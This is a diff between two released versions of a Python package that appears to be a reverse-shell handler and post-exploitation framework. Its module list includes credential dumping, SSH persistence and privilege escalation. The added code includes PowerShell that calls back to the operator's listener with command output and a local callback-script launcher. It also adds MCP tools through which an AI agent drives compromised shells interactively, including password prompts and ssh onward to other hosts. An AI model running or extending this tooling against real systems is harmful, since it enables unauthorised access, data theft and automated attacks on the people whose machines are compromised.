koi-handler 0.12.3__tar.gz → 0.12.5__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.12.3/src/koi_handler.egg-info → koi_handler-0.12.5}/PKG-INFO +1 -1
- {koi_handler-0.12.3 → koi_handler-0.12.5}/pyproject.toml +1 -1
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/listener.py +16 -6
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/mcp/schema.py +0 -4
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/mcp/server.py +208 -23
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/blueprint.py +22 -9
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/download.py +1 -1
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/network_enum.py +236 -2
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/upload.py +1 -1
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/upload64.py +1 -1
- koi_handler-0.12.5/src/koi/modules/wifi_enum.py +212 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/__main__.py +1 -4
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/winrm.py +12 -3
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/wsman.py +75 -16
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/ui.py +2 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5/src/koi_handler.egg-info}/PKG-INFO +1 -1
- koi_handler-0.12.3/src/koi/modules/wifi_enum.py +0 -62
- {koi_handler-0.12.3 → koi_handler-0.12.5}/LICENSE +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/setup.cfg +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/main.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/peas.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/secrets_dump.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/ssh_persist.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/session.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/bash_obfuscate.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/cli.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/config.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/config_ui.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/ntlm.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/interact.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/models.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/obfuscate_ui.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/terminal.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi/utils/tls.py +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi_handler.egg-info/SOURCES.txt +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.12.3 → koi_handler-0.12.5}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -615,6 +615,8 @@ class Listener:
|
|
|
615
615
|
|
|
616
616
|
expect_ip = None if (host is None or transport.direct) else target_ip
|
|
617
617
|
landed = self._wait_for_callback(known, expect_ip)
|
|
618
|
+
if landed and transport.direct:
|
|
619
|
+
landed.addr = (target_ip, landed.addr[1])
|
|
618
620
|
if not landed:
|
|
619
621
|
notify('warning', f"No callback after {int(_CONNECT_WAIT)}s.")
|
|
620
622
|
notify('status', muted(
|
|
@@ -648,6 +650,16 @@ class Listener:
|
|
|
648
650
|
except Exception:
|
|
649
651
|
pass
|
|
650
652
|
|
|
653
|
+
def _cmd_self(self) -> None:
|
|
654
|
+
from koi.utils.payloads import linux_callback_script
|
|
655
|
+
script = linux_callback_script('127.0.0.1', self.port)
|
|
656
|
+
subprocess.Popen(
|
|
657
|
+
['sh', '-c', script],
|
|
658
|
+
stdin=subprocess.DEVNULL,
|
|
659
|
+
stdout=subprocess.DEVNULL,
|
|
660
|
+
stderr=subprocess.DEVNULL,
|
|
661
|
+
)
|
|
662
|
+
|
|
651
663
|
def _cmd_stop_accepting(self) -> None:
|
|
652
664
|
if not self._accepting:
|
|
653
665
|
notify('warning', "Listener is already paused.")
|
|
@@ -700,6 +712,10 @@ class Listener:
|
|
|
700
712
|
self._cmd_connect(parts[1:])
|
|
701
713
|
return True
|
|
702
714
|
|
|
715
|
+
if cmd == "self":
|
|
716
|
+
self._cmd_self()
|
|
717
|
+
return True
|
|
718
|
+
|
|
703
719
|
if cmd == "tunnel":
|
|
704
720
|
self._cmd_tunnel(parts[1:])
|
|
705
721
|
return True
|
|
@@ -1215,11 +1231,5 @@ class Listener:
|
|
|
1215
1231
|
return
|
|
1216
1232
|
self._winch_pending = False
|
|
1217
1233
|
if sess.os_type in ("windows_cmd", "windows_ps"):
|
|
1218
|
-
if sess.is_conptyshell:
|
|
1219
|
-
try:
|
|
1220
|
-
cols, rows = shutil.get_terminal_size()
|
|
1221
|
-
sess.send(f"\x08{cols}x{rows}".encode())
|
|
1222
|
-
except Exception:
|
|
1223
|
-
pass
|
|
1224
1234
|
return
|
|
1225
1235
|
self._sync_winsize(sess)
|
|
@@ -10,8 +10,6 @@ from typing import Any, Dict, List, Optional, Tuple, Type
|
|
|
10
10
|
|
|
11
11
|
_ARRAY_NARGS = ("+", "*")
|
|
12
12
|
|
|
13
|
-
# argparse `type=` callables we can express in JSON Schema. Anything else is
|
|
14
|
-
# passed through as a string and left for argparse to coerce on the way back in.
|
|
15
13
|
_SCALAR_TYPES: Dict[Any, str] = {
|
|
16
14
|
int: "integer",
|
|
17
15
|
float: "number",
|
|
@@ -74,7 +72,6 @@ def argument_schema(spec: Dict[str, Any]) -> Tuple[str, Dict[str, Any], bool]:
|
|
|
74
72
|
if default is not None:
|
|
75
73
|
schema["default"] = default
|
|
76
74
|
|
|
77
|
-
# Only a positional with no default is truly required; nargs='*' tolerates empty.
|
|
78
75
|
required = (
|
|
79
76
|
_is_positional(flags)
|
|
80
77
|
and default is None
|
|
@@ -129,7 +126,6 @@ def schema_to_argv(mod_cls: Type, values: Optional[Dict[str, Any]]) -> List[str]
|
|
|
129
126
|
|
|
130
127
|
action = spec.get("action")
|
|
131
128
|
if action in ("store_true", "store_false"):
|
|
132
|
-
# Presence is the signal; store_false inverts it.
|
|
133
129
|
wants_flag = bool(value) if action == "store_true" else not bool(value)
|
|
134
130
|
if wants_flag:
|
|
135
131
|
optionals.append(_primary_flag(flags))
|
|
@@ -19,8 +19,8 @@ from typing import TYPE_CHECKING, Any, Dict, List, Optional
|
|
|
19
19
|
|
|
20
20
|
from koi.mcp.schema import module_input_schema, schema_to_argv
|
|
21
21
|
from koi.modules.blueprint import KoiModule
|
|
22
|
-
from koi.session import SessionBusy
|
|
23
|
-
from koi.utils.constants import ANSI_RE
|
|
22
|
+
from koi.session import SessionBusy, recv_ready
|
|
23
|
+
from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
|
|
24
24
|
from koi.utils.logger import list_logs, log_dir
|
|
25
25
|
from koi.utils.ui import accent, muted, plain
|
|
26
26
|
|
|
@@ -40,11 +40,27 @@ _MAX_EXEC_TIMEOUT = 600.0
|
|
|
40
40
|
_MAX_TAG_LEN = 64
|
|
41
41
|
_MAX_OUTPUT_BYTES = 256 * 1024
|
|
42
42
|
|
|
43
|
-
|
|
44
|
-
|
|
43
|
+
_INTERACTIVE_MAX_WAIT = 30.0
|
|
44
|
+
_INTERACTIVE_IDLE_GRACE = 0.3
|
|
45
|
+
_INTERACTIVE_MAX_BYTES = 8 * 1024
|
|
46
|
+
_INTERACTIVE_DRAIN_CAP = 256 * 1024
|
|
45
47
|
|
|
46
|
-
|
|
47
|
-
|
|
48
|
+
_SIGNAL_KEYS: Dict[str, bytes] = {
|
|
49
|
+
"ctrl_c": b"\x03",
|
|
50
|
+
"ctrl_d": b"\x04",
|
|
51
|
+
"ctrl_l": b"\x0c",
|
|
52
|
+
"enter": b"\r",
|
|
53
|
+
"tab": b"\t",
|
|
54
|
+
"esc": b"\x1b",
|
|
55
|
+
"up": b"\x1b[A",
|
|
56
|
+
"down": b"\x1b[B",
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
_EXEC_ONLY_TOOLS = {
|
|
61
|
+
"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop",
|
|
62
|
+
"koi_session_write", "koi_session_read", "koi_session_signal",
|
|
63
|
+
}
|
|
48
64
|
|
|
49
65
|
_REQUIRED_PACKAGES = ("mcp", "uvicorn", "starlette")
|
|
50
66
|
|
|
@@ -99,19 +115,17 @@ def _exec_timeout(value) -> float:
|
|
|
99
115
|
timeout = float(value)
|
|
100
116
|
except ValueError:
|
|
101
117
|
raise ValueError(f"timeout must be a number, got {value!r}") from None
|
|
102
|
-
if timeout <= 0 or timeout != timeout:
|
|
118
|
+
if timeout <= 0 or timeout != timeout:
|
|
103
119
|
raise ValueError(f"timeout must be greater than 0, got {value!r}")
|
|
104
120
|
return min(timeout, _MAX_EXEC_TIMEOUT)
|
|
105
121
|
|
|
106
122
|
|
|
107
|
-
def
|
|
108
|
-
_DOWNLOAD_ROOT.mkdir(parents=True, exist_ok=True)
|
|
123
|
+
def _resolve_download_output(client_value, remote_path: str) -> str:
|
|
109
124
|
if client_value:
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
return str(_DOWNLOAD_ROOT / (base or "download"))
|
|
125
|
+
return str(Path(str(client_value)).resolve())
|
|
126
|
+
stripped = remote_path.rstrip("/\\")
|
|
127
|
+
base = ntpath.basename(stripped) or posixpath.basename(stripped)
|
|
128
|
+
return str(Path.cwd() / (base or "download"))
|
|
115
129
|
|
|
116
130
|
|
|
117
131
|
|
|
@@ -365,8 +379,13 @@ class KoiMCPServer:
|
|
|
365
379
|
),
|
|
366
380
|
_tool(
|
|
367
381
|
"koi_exec",
|
|
368
|
-
"Run
|
|
369
|
-
"its stdout and exit code."
|
|
382
|
+
"Run one shell command on a session (Linux or Windows) and "
|
|
383
|
+
"return its stdout and exit code. One-shot and non-interactive. "
|
|
384
|
+
"If a koi_module_* tool covers the task use it instead; in "
|
|
385
|
+
"particular move files with koi_module_upload / "
|
|
386
|
+
"koi_module_download, not by echoing bytes here. For a program "
|
|
387
|
+
"that prompts or stays interactive, use "
|
|
388
|
+
"koi_session_write/read/signal.",
|
|
370
389
|
{
|
|
371
390
|
"session": session,
|
|
372
391
|
"command": {"type": "string", "description": "Command to run."},
|
|
@@ -423,6 +442,52 @@ class KoiMCPServer:
|
|
|
423
442
|
{"session": session},
|
|
424
443
|
["session"],
|
|
425
444
|
),
|
|
445
|
+
_tool(
|
|
446
|
+
"koi_session_write",
|
|
447
|
+
"Interactive mode: write raw text to a session's shell, no newline "
|
|
448
|
+
"added (include \\n yourself to submit a line). Use this with "
|
|
449
|
+
"koi_session_read to drive interactive programs koi_exec cannot "
|
|
450
|
+
"handle (sudo/password prompts, REPLs, ssh). Does not wait for or "
|
|
451
|
+
"return output; call koi_session_read after. Not for file "
|
|
452
|
+
"transfer: use koi_module_upload / koi_module_download.",
|
|
453
|
+
{
|
|
454
|
+
"session": session,
|
|
455
|
+
"data": {"type": "string", "description": "Raw text to send as-is."},
|
|
456
|
+
},
|
|
457
|
+
["session", "data"],
|
|
458
|
+
),
|
|
459
|
+
_tool(
|
|
460
|
+
"koi_session_read",
|
|
461
|
+
"Interactive mode: drain and return output waiting on a session "
|
|
462
|
+
"since the last read. Non-blocking beyond 'wait'. The result is "
|
|
463
|
+
"tail-capped, so it stays cheap. 'producing' true means output was "
|
|
464
|
+
"still flowing (call again); false means it settled or nothing came.",
|
|
465
|
+
{
|
|
466
|
+
"session": session,
|
|
467
|
+
"wait": {
|
|
468
|
+
"type": "number",
|
|
469
|
+
"description": "Max seconds to wait for output (0-30).",
|
|
470
|
+
"default": 1,
|
|
471
|
+
},
|
|
472
|
+
},
|
|
473
|
+
["session"],
|
|
474
|
+
),
|
|
475
|
+
_tool(
|
|
476
|
+
"koi_session_signal",
|
|
477
|
+
"Interactive mode: send a control key to a session. One of: "
|
|
478
|
+
"ctrl_c, ctrl_d, ctrl_l, enter, tab, esc, up, down. Ctrl+C "
|
|
479
|
+
"reliably interrupts a running process only on an upgraded (PTY) "
|
|
480
|
+
"session; on a raw shell it just sends the byte.",
|
|
481
|
+
{
|
|
482
|
+
"session": session,
|
|
483
|
+
"key": {
|
|
484
|
+
"type": "string",
|
|
485
|
+
"description": "Control key name.",
|
|
486
|
+
"enum": sorted(_SIGNAL_KEYS),
|
|
487
|
+
},
|
|
488
|
+
},
|
|
489
|
+
["session", "key"],
|
|
490
|
+
),
|
|
426
491
|
]
|
|
427
492
|
|
|
428
493
|
def _module_tools(self) -> List[Dict[str, Any]]:
|
|
@@ -446,7 +511,6 @@ class KoiMCPServer:
|
|
|
446
511
|
f"{(cls.description or '').strip()} (targets: {targets})",
|
|
447
512
|
schema["properties"],
|
|
448
513
|
schema["required"],
|
|
449
|
-
# camelCase: ToolAnnotations fields carry no alias in mcp 2.x.
|
|
450
514
|
annotations={"destructiveHint": True},
|
|
451
515
|
)
|
|
452
516
|
)
|
|
@@ -516,6 +580,15 @@ class KoiMCPServer:
|
|
|
516
580
|
if name == "koi_exec":
|
|
517
581
|
return self._do_exec(arguments)
|
|
518
582
|
|
|
583
|
+
if name == "koi_session_write":
|
|
584
|
+
return self._do_session_write(arguments)
|
|
585
|
+
|
|
586
|
+
if name == "koi_session_read":
|
|
587
|
+
return self._do_session_read(arguments)
|
|
588
|
+
|
|
589
|
+
if name == "koi_session_signal":
|
|
590
|
+
return self._do_session_signal(arguments)
|
|
591
|
+
|
|
519
592
|
if name.startswith(_MODULE_TOOL_PREFIX):
|
|
520
593
|
return self._do_run_module(name[len(_MODULE_TOOL_PREFIX):], arguments)
|
|
521
594
|
|
|
@@ -570,6 +643,111 @@ class KoiMCPServer:
|
|
|
570
643
|
payload["truncated"] = True
|
|
571
644
|
return json.dumps(payload, indent=2)
|
|
572
645
|
|
|
646
|
+
def _drain_session(self, sess: "Session", wait: float) -> tuple[str, bool, bool]:
|
|
647
|
+
"""Drain pending socket output for up to *wait* seconds.
|
|
648
|
+
|
|
649
|
+
No sentinel: there is no notion of a command finishing here, so the read
|
|
650
|
+
settles on an idle grace instead. Returns (text, producing, truncated).
|
|
651
|
+
"""
|
|
652
|
+
wait = max(0.0, min(float(wait), _INTERACTIVE_MAX_WAIT))
|
|
653
|
+
hard_cap = _INTERACTIVE_DRAIN_CAP
|
|
654
|
+
|
|
655
|
+
buf = b""
|
|
656
|
+
producing = False
|
|
657
|
+
try:
|
|
658
|
+
with sess.io(holder="mcp:interactive", timeout=_IO_TIMEOUT):
|
|
659
|
+
deadline = time.monotonic() + wait
|
|
660
|
+
last_data = None
|
|
661
|
+
while True:
|
|
662
|
+
now = time.monotonic()
|
|
663
|
+
if now >= deadline:
|
|
664
|
+
producing = last_data is not None
|
|
665
|
+
break
|
|
666
|
+
if last_data is not None and (now - last_data) >= _INTERACTIVE_IDLE_GRACE:
|
|
667
|
+
break
|
|
668
|
+
slice_timeout = min(deadline - now, _INTERACTIVE_IDLE_GRACE)
|
|
669
|
+
if not recv_ready(sess.conn, slice_timeout):
|
|
670
|
+
continue
|
|
671
|
+
chunk = sess.recv(SOCKET_BUFFER_SIZE)
|
|
672
|
+
if not chunk:
|
|
673
|
+
sess.alive = False
|
|
674
|
+
break
|
|
675
|
+
buf += chunk
|
|
676
|
+
last_data = time.monotonic()
|
|
677
|
+
if len(buf) >= hard_cap:
|
|
678
|
+
producing = True
|
|
679
|
+
break
|
|
680
|
+
except SessionBusy as exc:
|
|
681
|
+
raise RuntimeError(str(exc)) from exc
|
|
682
|
+
|
|
683
|
+
if sess._logger and buf:
|
|
684
|
+
sess._logger.log_output(buf)
|
|
685
|
+
|
|
686
|
+
text = _strip_ansi(buf.decode(sess.encoding or "utf-8", errors="replace"))
|
|
687
|
+
truncated = False
|
|
688
|
+
if len(text) > _INTERACTIVE_MAX_BYTES:
|
|
689
|
+
text = "[... earlier output truncated ...]\n" + text[-_INTERACTIVE_MAX_BYTES:]
|
|
690
|
+
truncated = True
|
|
691
|
+
return text, producing, truncated
|
|
692
|
+
|
|
693
|
+
def _do_session_write(self, arguments: Dict[str, Any]) -> str:
|
|
694
|
+
self._require_exec()
|
|
695
|
+
sess = self._resolve(arguments["session"])
|
|
696
|
+
data = arguments.get("data")
|
|
697
|
+
if not isinstance(data, str) or data == "":
|
|
698
|
+
raise ValueError("data must be a non-empty string")
|
|
699
|
+
|
|
700
|
+
ts = time.strftime("%H:%M:%S")
|
|
701
|
+
self.listener._announce('status', f"{accent(ts)} {plain('MCP: write')} {muted(data.strip() or data)} {plain(f'on session #{sess.id}')}")
|
|
702
|
+
with _capture_output():
|
|
703
|
+
logger_obj = self.listener._ensure_logger(sess)
|
|
704
|
+
sess.attach_logger(logger_obj)
|
|
705
|
+
|
|
706
|
+
raw = data.encode(sess.encoding, errors="replace")
|
|
707
|
+
if not sess.send(raw):
|
|
708
|
+
raise RuntimeError(f"Session #{sess.id} is no longer alive")
|
|
709
|
+
return json.dumps({"session": sess.id, "sent": len(raw)})
|
|
710
|
+
|
|
711
|
+
def _do_session_read(self, arguments: Dict[str, Any]) -> str:
|
|
712
|
+
self._require_exec()
|
|
713
|
+
sess = self._resolve(arguments["session"])
|
|
714
|
+
wait = arguments.get("wait", 1)
|
|
715
|
+
if isinstance(wait, bool) or not isinstance(wait, (int, float)):
|
|
716
|
+
raise ValueError("wait must be a number")
|
|
717
|
+
|
|
718
|
+
with _capture_output():
|
|
719
|
+
logger_obj = self.listener._ensure_logger(sess)
|
|
720
|
+
sess.attach_logger(logger_obj)
|
|
721
|
+
|
|
722
|
+
text, producing, truncated = self._drain_session(sess, wait)
|
|
723
|
+
payload = {
|
|
724
|
+
"session": sess.id,
|
|
725
|
+
"output": text,
|
|
726
|
+
"producing": producing,
|
|
727
|
+
}
|
|
728
|
+
if truncated:
|
|
729
|
+
payload["truncated"] = True
|
|
730
|
+
return json.dumps(payload, indent=2)
|
|
731
|
+
|
|
732
|
+
def _do_session_signal(self, arguments: Dict[str, Any]) -> str:
|
|
733
|
+
self._require_exec()
|
|
734
|
+
sess = self._resolve(arguments["session"])
|
|
735
|
+
key = arguments.get("key")
|
|
736
|
+
seq = _SIGNAL_KEYS.get(key) if isinstance(key, str) else None
|
|
737
|
+
if seq is None:
|
|
738
|
+
valid = ", ".join(sorted(_SIGNAL_KEYS))
|
|
739
|
+
raise ValueError(f"Unknown key {key!r}; valid keys: {valid}")
|
|
740
|
+
|
|
741
|
+
ts = time.strftime("%H:%M:%S")
|
|
742
|
+
self.listener._announce('status', f"{accent(ts)} {plain('MCP: signal')} {muted(key)} {plain(f'on session #{sess.id}')}")
|
|
743
|
+
with _capture_output():
|
|
744
|
+
logger_obj = self.listener._ensure_logger(sess)
|
|
745
|
+
sess.attach_logger(logger_obj)
|
|
746
|
+
|
|
747
|
+
if not sess.send(seq):
|
|
748
|
+
raise RuntimeError(f"Session #{sess.id} is no longer alive")
|
|
749
|
+
return json.dumps({"session": sess.id, "sent_key": key})
|
|
750
|
+
|
|
573
751
|
def _do_run_module(self, mod_name: str, arguments: Dict[str, Any]) -> str:
|
|
574
752
|
self._require_exec()
|
|
575
753
|
from koi.modules.loader import get_module
|
|
@@ -588,12 +766,11 @@ class KoiMCPServer:
|
|
|
588
766
|
ts = time.strftime("%H:%M:%S")
|
|
589
767
|
self.listener._announce('status', f"{accent(ts)} {plain('MCP: module')} {muted(mod_name)} {plain(f'on session #{sess.id}')}")
|
|
590
768
|
|
|
591
|
-
# Local paths from an MCP client stay confined to ~/.koi, never the operator's disk at large.
|
|
592
769
|
safe_args = {k: v for k, v in arguments.items() if k != "session"}
|
|
593
770
|
if mod_name == "download":
|
|
594
771
|
remote = safe_args.get("remote_path")
|
|
595
772
|
remote_str = " ".join(remote) if isinstance(remote, list) else str(remote or "")
|
|
596
|
-
safe_args["output"] =
|
|
773
|
+
safe_args["output"] = _resolve_download_output(safe_args.get("output"), remote_str)
|
|
597
774
|
argv = schema_to_argv(mod_cls, safe_args)
|
|
598
775
|
|
|
599
776
|
error: Optional[str] = None
|
|
@@ -705,9 +882,18 @@ class KoiMCPServer:
|
|
|
705
882
|
"session ids are reused across tools and a tag can replace an id.\n\n"
|
|
706
883
|
"One command runs on a session at a time. A tool call fails fast "
|
|
707
884
|
"with a busy error when the operator is interacting with that shell, "
|
|
708
|
-
"which is expected: retry later rather than escalating
|
|
709
|
-
"
|
|
710
|
-
"modules handle the per-OS quirks and
|
|
885
|
+
"which is expected: retry later rather than escalating.\n\n"
|
|
886
|
+
"Pick a tool in this order. First, if a koi_module_* tool covers the "
|
|
887
|
+
"task, prefer it: modules handle the per-OS quirks, chunking and "
|
|
888
|
+
"integrity checks a hand-written command does not. In particular, "
|
|
889
|
+
"move files with koi_module_upload / koi_module_download, never by "
|
|
890
|
+
"echoing base64 through koi_exec. Second, for a simple one-shot "
|
|
891
|
+
"command no module covers, use koi_exec. Third, for a program "
|
|
892
|
+
"koi_exec cannot handle because it prompts or stays interactive "
|
|
893
|
+
"(sudo/password prompts, a REPL, ssh to another host), drive the "
|
|
894
|
+
"shell with koi_session_write / koi_session_read / koi_session_signal: "
|
|
895
|
+
"write input, then read until 'producing' is false, and send control "
|
|
896
|
+
"keys (e.g. ctrl_c) with koi_session_signal."
|
|
711
897
|
)
|
|
712
898
|
|
|
713
899
|
def _build_app(self):
|
|
@@ -767,7 +953,6 @@ class KoiMCPServer:
|
|
|
767
953
|
)
|
|
768
954
|
return
|
|
769
955
|
elif scope_type != "lifespan":
|
|
770
|
-
# Fail closed: any other transport (e.g. websocket) must not bypass the token.
|
|
771
956
|
return
|
|
772
957
|
await inner(scope, receive, send)
|
|
773
958
|
|
|
@@ -277,6 +277,7 @@ class KoiModule(ABC):
|
|
|
277
277
|
|
|
278
278
|
eol = self.session.eol
|
|
279
279
|
enc = self.session.encoding
|
|
280
|
+
|
|
280
281
|
self.session.conn.sendall((cmd + eol).encode(enc))
|
|
281
282
|
|
|
282
283
|
buf = b""
|
|
@@ -297,14 +298,17 @@ class KoiModule(ABC):
|
|
|
297
298
|
raw, buf = buf.split(b"\n", 1)
|
|
298
299
|
text = raw.decode(enc, errors="replace").strip("\r\n ")
|
|
299
300
|
text = _PS_PROMPT.sub("", text).strip()
|
|
300
|
-
if not text
|
|
301
|
+
if not text:
|
|
301
302
|
continue
|
|
302
303
|
if marker in text:
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
self._logger
|
|
306
|
-
|
|
307
|
-
|
|
304
|
+
if text == marker:
|
|
305
|
+
result = "\n".join(collected)
|
|
306
|
+
if self._logger and result:
|
|
307
|
+
self._logger.log_event(f"exec {ps_expr}")
|
|
308
|
+
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
309
|
+
return result
|
|
310
|
+
collected.clear()
|
|
311
|
+
continue
|
|
308
312
|
collected.append(text)
|
|
309
313
|
|
|
310
314
|
result = "\n".join(collected)
|
|
@@ -318,9 +322,9 @@ class KoiModule(ABC):
|
|
|
318
322
|
"""_win_query for upgraded sessions: PowerShell pushes the result to a
|
|
319
323
|
local socket, bypassing the VT100 stream."""
|
|
320
324
|
local_ip = self._get_local_ip()
|
|
321
|
-
with TCPReceiveServer(timeout=timeout) as srv:
|
|
325
|
+
with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
|
|
322
326
|
ps_cmd = (
|
|
323
|
-
f"$_r=({ps_expr})|Out-String;"
|
|
327
|
+
f"$_r=(& {{ {ps_expr} }})|Out-String;"
|
|
324
328
|
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{srv.port});"
|
|
325
329
|
f"$_s=$_c.GetStream();"
|
|
326
330
|
f"$_b=[Text.Encoding]::UTF8.GetBytes($_r.Trim());"
|
|
@@ -673,6 +677,15 @@ class KoiModule(ABC):
|
|
|
673
677
|
else:
|
|
674
678
|
output_lines.append(text)
|
|
675
679
|
|
|
680
|
+
if buf:
|
|
681
|
+
text = buf.decode(enc, errors="replace").strip("\r\n ")
|
|
682
|
+
text = _PS_PROMPT.sub("", text).strip()
|
|
683
|
+
if text:
|
|
684
|
+
if match := done_re.match(text):
|
|
685
|
+
returncode = int(match.group(1))
|
|
686
|
+
return self._build_result(
|
|
687
|
+
command, returncode, output_lines, started, _silent,
|
|
688
|
+
)
|
|
676
689
|
return self._build_result(command, returncode, output_lines, started, _silent)
|
|
677
690
|
|
|
678
691
|
@_owns_io
|
|
@@ -681,7 +694,7 @@ class KoiModule(ABC):
|
|
|
681
694
|
done_re = re.compile(rf"{re.escape(marker)}:(-?\d+)")
|
|
682
695
|
local_ip = self._get_local_ip()
|
|
683
696
|
|
|
684
|
-
with TCPReceiveServer(timeout=timeout) as srv:
|
|
697
|
+
with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
|
|
685
698
|
ps_cmd = (
|
|
686
699
|
f"$_r=(& {{ {command} }}) 2>&1 | Out-String;"
|
|
687
700
|
f"$_rc={_PS_RC_ASSIGN};"
|
|
@@ -21,7 +21,7 @@ def _remote_basename(path: str) -> str:
|
|
|
21
21
|
|
|
22
22
|
class DownloadModule(KoiModule):
|
|
23
23
|
name = "download"
|
|
24
|
-
description = "Download a file or directory from the target."
|
|
24
|
+
description = "Download a file or directory from the target, chunked over a side channel and size-verified."
|
|
25
25
|
usage = "download <id> <remote_path> [-o <local_path>]"
|
|
26
26
|
category = "File transfer"
|
|
27
27
|
platform = ["linux", "windows_ps"]
|